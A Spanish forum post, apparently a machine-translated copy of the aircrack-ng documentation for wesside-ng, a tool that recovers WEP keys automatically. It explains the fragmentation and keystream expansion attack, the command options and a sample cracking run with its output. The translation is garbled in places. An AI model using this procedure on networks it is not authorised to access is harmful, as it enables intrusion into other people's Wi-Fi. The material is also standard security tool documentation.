Wesside-ng es un auto-herramienta mágica que incorpora una serie de técnicas para obtener la perfección una clave WEP en cuestión de minutos. En primer lugar, identifica a una red, y entonces procede a asociarse con él, obtener PRGA (pseudo-algoritmo de generación aleatoria) los datos de XOR, determinar el sistema de red IP, reinyectar peticiones ARP y, finalmente, determinar la clave WEP. Todo esto se hace sin su intervención.

La herramienta de wesside original fue escrito por Andrea Bittau y fue una prueba de concepto del programa de acompañamiento de dos artículos publicados. Los dos documentos son "El ataque de fragmentación en la práctica" por Andrea Bittau y "El último clavo en el ataúd de WEP" por Andrea Bittau, Mark Handley y Josua Lockey. Ver la la página de enlaces para este tipo de documentos y más. Los documentos de referencia proporcionan información de antecedentes excelente si usted desea comprender las metodologías. Los conceptos para el ataque fragmento actualmente incorporado en aircrack-ng vino de estos documentos.

Para que los aficionados trivia, que sabe dónde está el nombre del programa "wesside" vino? Como resultado, se trata de que el rapero Tupac (2Pac / Tupac Shakur).

Wesside-ng ha sido actualizado para reflejar los avances en la determinación de la clave WEP. Éstos son los pasos que se wesside-ng:

1.Canal de lúpulo en busca de una red WEP.

2.Una vez que se encuentra una red, intenta autenticarse. Si la autenticación falla, entonces el programa intenta encontrar una dirección MAC asociada actualmente a la AP a la burla.

3. Una vez que el programa se ha autenticado correctamente entonces se asocia con la AP.

4.Después de olfatear un paquete de datos único, se procede a descubrir al menos 128 bytes de PRGA enviando más grandes emisiones y la interceptación de las retransmite los paquetes. Esto es lo que se conoce como ataque de fragmentación. El PRGA se escribe en el archivo prga.log.

5.Después de que se olfatea una petición ARP, descifra la dirección IP de adivinar los próximos cuatro bytes de PRGA utilizando marcos de multidifusión y la técnica de expansión lineal de flujo de clave. Por descifrar la petición ARP, el régimen de número de red se puede determinar además de la dirección IP de origen de la petición ARP. Esto se utiliza para construir la petición ARP que se utiliza para la inyección posterior.

6.Se inunda la red con peticiones ARP para la dirección IP descifrado.

7.Lanza el aircrack-ng ataque PTW para determinar la clave WEP.

Así que usted puede estarse preguntando "¿Cuál es la técnica de expansión lineal ristra?". La fundación es el hecho de que los paquetes, como una petición ARP cifrada puede ser fácilmente identificado junto con el hecho de que el inicio del que ha conocido de texto plano. Así que el primer programa que obtiene el PRGA de conocer parte de texto sin formato de la solicitud ARP. Entonces se crea un paquete ARP nueva solicitud de divide en dos fragmentos. El primer fragmento es de un byte más de los conocimientos y el PRGA PRGA es adivinar para el byte extra. Estas conjeturas son enviados y el programa de escucha para ver cuál se repite por la AP.

El paquete se ha repetido el PRGA correcto y este valor se incluye en la dirección de multidifusión de destino. Ahora que sabemos que el PRGA correcto, un byte se pueden descifrar en la petición ARP original. Este proceso se repite hasta que la IP de envío de la petición ARP original es descifrado. Se tarda un máximo de 256 conjeturas para determinar el PRGA correcto para un byte en particular y en promedio sólo 128 conjeturas.

Existen algunas limitaciones conocidas:

    *Sólo se admite la autenticación abierta. De autenticación de clave compartida no es compatible.
    *Sólo se admiten las redes B y G.
    *Funcionalidad MAC Fake se rompe si hay mucho tráfico en la red.

Por favor recuerde que esto sigue siendo básicamente una prueba de concepto de herramienta para que usted puede esperar encontrar errores. Además, usted encontrará características que no funcionan como se esperaba. Considere el uso de easside-ng como una alternativa o un programa del compañero. Easside-ng es considerado software relativamente estable.
Uso

Uso: wesside-ng <opts>-i interfaz <wireless <nombre

    *-h Muestra la lista de opciones.
    * -i nombre de la interfaz Wireless. (Obligatorio)
    * -n de red IP, como en "¿Quién tiene la IP de destino (netip) cuentan IP de origen (myip)". Por defecto es la IP de origen en la petición ARP, que es capturado y descifrado. (Opcional)
   
    *-m MI IP "que ha IP de destino (netip) cuentan IP de origen (myip)". Por defecto es el network.123 sobre la petición ARP capturada (Opcional)
   
    *-una fuente de la dirección MAC (opcional)
    *-c No iniciar aircrack-ng. Simplemente puede capturar los paquetes hasta que el control-C es golpeado para detener el programa! (Opcional)
   
    *-F permite el mayor canal para la digitalización de definir. Por defecto es el canal 11. (Opcional)
   
    *ACK-k pasa por alto, ya que algunas tarjetas / drivers no lo informa. Por lo tanto, automáticamente retransmitir X veces. Es decir, k-1 se transmitirá una vez y asumir que el paquete llegue. -k 2 retransmitirá dos veces, y así sucesivamente. Nota: Cuanto mayor sea el valor de k, la tasa de transmisión será más lento debido a la retransmite muchos. (Opcional)
   
    *Determina-p el número mínimo de bytes de PRGA, que están reunidos. Por defecto es 128 bytes. (Opcional)
   
    *-t Para cada número de IVs especificado, reiniciar el motor de airecrack-ng PTW. (Opcional)
   
    *-v punto de acceso inalámbrico de dirección MAC (opcional)

Cuando se ejecuta wesside-ng, que crea tres archivos automáticamente en el directorio actual:

    *- wep.cap El archivo de captura de paquetes. Que contiene el paquete completo, no sólo los vectores de inicialización.
   
    *prga.log - Contiene el PRGA obtenido a través del ataque de fragmentación. La siguiente no es correcto. Es una característica de futuro: "Esto se puede utilizar como entrada para otros Aircrack-ng suite de herramientas que requieren PRGA como entrada. También puede utilizar el PRGA de otras herramientas para este archivo. "
   
    *key.log - Contiene la clave WEP cuando se encuentra.

Es muy importante para eliminar estos archivos antes de iniciar el programa cuando se cambia el punto de acceso de destino.
Escenarios
Ejemplo de uso estándar de

Asegúrese de usar airmon-ng para poner su tarjeta en modo monitor.

A continuación, escriba:

Código: [Seleccionar]
wesside-ng-i wlan0
Donde:

    *-i wlan0 es la interfaz inalámbrica.

El programa responde:

 
Código: [Seleccionar]
[13:51:32] Uso de mac 00: C0: CA: 17: DB: 6A
 [13:51:32] Looking for a una víctima ...
 [13:51:32] Encontrados SSID (de peluche) BSS = (00:14:6 C: 7E: 40:80) chan = 9
 [13:51:32] Jurada
 [13:51:32] Associated (ID = 5)
 [13:51:37] Got petición ARP de (00: D0: CF: 03:34:8 C)
 [13:51:37] datalen 54 conocidos abierto 22
 [13:51:37] Got 22 bytes de PRGA IV = (0e: 4e: 02) PRGA = A5 DC C3 AF 43 34 17 0D 0D 7E 2A C1 44 8A DA 51 A4 DF BB C6 4F 3C
 [13:51:37] Got 102 bytes de PRGA IV = (0f: 4e: 02) PRGA = 17 03 74 98 9F CC FB AA A1 B3 5B 00 53 EC 8F C3 BB F7 56 21 09 95 12 70 24 8C C0 16 40 9F A8 BD BA C4 CC 18 04 A1 41 47 B3 22 8B D2 42 DC 71 54 CE AD FE D0 C3 15 7E EB D1 E2 BB 69 7F 11 8A 99 40 FC 75 CE 12 BF 3B C8 2A 32 88 8A DC E8 35 7C EE DA A3 E3 6B 0C 45 21 DC BD 23 59 28 85 24 49 18 49 1C 24 6D E2
 [13:51:37] Got 342 bytes de PRGA IV = (10:4 e: 02) PRGA = 5C EC 18 24 F3 21 B2 74 2A 86 97 C7 4C 22 EC 42 00 3A C6 07 0C 02 AA D6 B6 D8 FF B1 16 F8 40 31 B7 95 3B F8 1B BD 94 8B 3B 7A 98 DE C6 72 FD F8 A5 FC E7 81 A0 9E 01 76 44 57 C4 EB AE D7 AB EB 2F 40 C8 E5 5F EF 13 DB F4 F7 F2 91 D9 36 77 C1 F0 9C E4 8C BA F9 50 C0 B0 E7 23 75 85 41 82 54 F5 22 3C A9 45 0C 1F AE DA 3B F7 AA 41 30 23 63 97 B1 42 4C A8 0E C0 5A 7E A2 58 C2 02 B8 7F DB C7 CC 66 4D 86 53 30 E0 A0 81 52 13 14 08 5F 45 C5 AC 21 C3 90 86 A1 8D 45 CC 7C F2 A2 95 34 EF 38 59 FA 21 0F CC 63 81 05 26 8D B8 84 A1 D3 DF 5D E0 CA 23 52 85 4F 61 5B E3 83 4B 2A 10 0A 14 94 FA 90 D4 FC 3F 7B CD A9 C3 E3 4D B7 99 BD 21 D4 FC DB 60 0C 92 8D 76 87 EF F7 45 C6 D7 0B 96 A4 18 41 63 48 79 E0 4E 3A 9F 1B 8D 17 F5 B0 FE 30 F3 27 55 EA E1 8A 60 FA 9E CB CE D9 1D EE 94 20 20 EB 58 F8 55 38 4F C9 E7 53 55 94 6C 6A 6D F0 D5 4E DB 78 D6 52 A3 34 68 2C 8B 7A EA C8 DA 3B D9 CB 4C 65 E6 CE B8 EE CD 58 DD C1 C8 F8 08 1B 27 EC 74 7E AD A0 0E 1E 85 79 F4 C0 54 D9 99 51 CA 96 02 73 93 33 6F E6 D5 F1 55 81 2B C4 AA 3A B2 0A C6 04 FE
 [13:51:39] Guessing PRGA 8e (IP byte = 230)
 [13:51:39] Got claro byte de texto: 192
 [13:51:40] Guessing PRGA be (IP byte = 198)
 [13:51:40] Got claro byte de texto: 168
 [13:51:40] Guessing PRGA 8d (IP byte = 47)
 [13:51:40] Got claro byte de texto: 1
 [13:51:40] Guessing PRGA 12 (IP byte = 240)
 [13:51:40] Got claro byte de texto: 200
 [13:51:40] Got IP = (192.168.1.200)
 [13:51:40] Mi IP = (192.168.1.123)
 [13:51:40] Envío de solicitud ARP para: 192.168.1.200
 [13:51:40] Got ARP de respuesta (00: D0: CF: 03:34:8 C)
 [13:52:25] WEP = 000009991 (crack siguiente en 10000) IV = 60:62:02 (rate = 115)
 [13:52:36] WEP = 000012839 (crack siguiente en 20000) IV = 21:68:02 (rate = 204)
 [13:52:25] A partir crack PID = 2413
 [13:52:27] WEP = 000010324 (crack siguiente en 20000) IV = 0d: 63:02 (tasa = 183)
 [13:54:03] A partir crack PID = 2415
 [13:53:28] WEP = 000023769 (crack siguiente en 30000) IV = 79:32:00 (rate = 252)
 [13:53:11] A partir crack PID = 2414
 [13:53:13] WEP = 000020320 (crack siguiente en 30000) IV = 7d: 2b: 00 (tasa = 158)
 [13:54:21] WEP = 000034005 (crack siguiente en 40000) IV = 53:47:00 (rate = 244)

 
                           
Código: [Seleccionar]
  Las teclas [328385:55:08] Probado 5 / 70000
 
 Byte profundidad KB (votación)
  0 0 / 1 01 (206) 3B (198) 5F (190) 77 (188) 3D (187) D2 (187) 60 (186) 6F (186) A1 (185) 48 (184)
  1 0 / 1 23 (232) 82 (190) BF (187) 4E (184) 0D (183) 90 (181) B9 (181) 08 (180) 1A (180) 8A (180)
  2 0 / 1 45 (200) F0 (186) 52 (184) AE (184) 75 (183) 48 (181) A1 (180) 71 (179) DE (179) 21 (178)
  3 0 / 1 67 (221) AE (202) B2 (193) 14 (191) 51 (184) 6D (184) 64 (183) 65 (183) 5B (182) 17 (181)
  1A 4 0 / 5 89 (182) PP (182) 74 (181) C2 (181) CC (181) 64 (180) CD (180) 5F (179) A6 (179) (178)
 
 Clave: 01:23:45:67:89
 
 [13:54:51] WEP = 000040387 (crack siguiente en 50000) IV = 0d: a0: 02 (tasa = 180)
 [13:55:08] WEP = 000043621 (crack siguiente en 50000) IV = da: 5a: 00 (tasa = 136)
 [13:55:08] Stopping crack PID = 2416
 [13:55:08] KEY = (01:23:45:67:89)
 
 Propiedad en 3,60 minutos
 
 [13:55:08] Dying ...

Consejos de uso Usando la opción-k

Algunas tarjetas / drivers no informar adecuadamente ACK. La "k" permite ACK para ser ignorado y las fuerzas de wesside-ng para retransmitir los paquetes que el número de veces especificado. Por lo tanto, automáticamente retransmitir X veces. Es decir, k-1 se transmitirá una vez y asumir que el paquete llegue. -k 2 retransmitirá dos veces, y así sucesivamente. Nota: Cuanto mayor sea el valor de k, la tasa de transmisión será más lento debido a la retransmite muchos.

Algunos casos concretos:

    *Si usted recibe MAX retransmite error, intente k-1.
    *Si usted tiene una conexión deficiente, intenta-K 3.

En general, usted puede experimentar con diferentes valores para determinar si se resuelve el problema. No hay ningún valor correcto o incorrecto.
Problemas de uso
General

Asegúrese de que su tarjeta está en modo de monitor.

Asegúrese de que su tarjeta puede inyectar por las pruebas con el aireplay-ng prueba de la inyección. También específicamente asegurarse de que se puede comunicar con la AP en cuestión.

Asegúrese de que su tarjeta soporta el ataque de fragmentación. De nuevo, esto puede ser confirmada con el aireplay-ng prueba de la inyección.

Asegúrese de eliminar wep.cap, prga.log y key.log archivos si están cambiando los puntos de acceso o si desea reiniciar limpiamente. En general, si usted tiene problemas, es una buena idea para eliminarlos.

Existen algunas limitaciones conocidas:

    *Sólo se admite la autenticación abierta. De autenticación de clave compartida no es compatible.
    * Sólo se admiten las redes B y G.
    *Funcionalidad MAC Fake se rompe si hay mucho tráfico en la red.

"ERROR retransmite Max" mensaje de

Usted recibe un error similar al siguiente mientras se ejecuta el programa:
Código: [Seleccionar]
[18:23:49] ERROR retransmite Max (30 bytes): B0 00 FF 7F 00 1A 70 51 B0 70 00 0E 2E C5 81 D3 00 1A 70 51 B0 70 00 00 00 00 01 00 00 00
Esto puede ser causado si la AP no reconoce el de los paquetes que desea enviar. Trate de acercarse a la AP.

Otra razón es que se confunde la máquina de estados internos de wesside-ng. Esto ocurre normalmente cuando hay otros paquetes inalámbricos recogidos y la máquina del Estado no se interpretan correctamente. Recuerde, esto es prueba de concepto del código y no es completamente estable. Intente volver a ejecutar wesside-ng.
Chipset RT73 y "ERROR retransmite Max" mensaje de

Si está utilizando el chipset RT73, pruebe a añadir la "k-1" opción. El controlador para este chipset no informar adecuadamente ACK. Uso de la "k-1" opción evita esto.
Errores conocidos

Hay una gran variedad de insectos conocidos que se describen a continuación. Además, se sabe que el estado del motor a ser roto y esto conduce a resultados impredecibles.

 Los errores en wesside-ng con madwifi-ng
 http://trac.aircrack-ng.org/ticket/306

 "Error Escribió 39 de los 30" mensaje de error de wesside-ng
 http://trac.aircrack-ng.org/ticket/303

 wesside-ng encuentra, y los intentos de proceso, los puntos de acceso WPA
 http://trac.aircrack-ng.org/ticket/295

Fuente

*Videos:

Video Nº1

Log de moderacion 20.12.2014
Editado para mejorar su lectura, links rotos removidos.


Páginas: [1]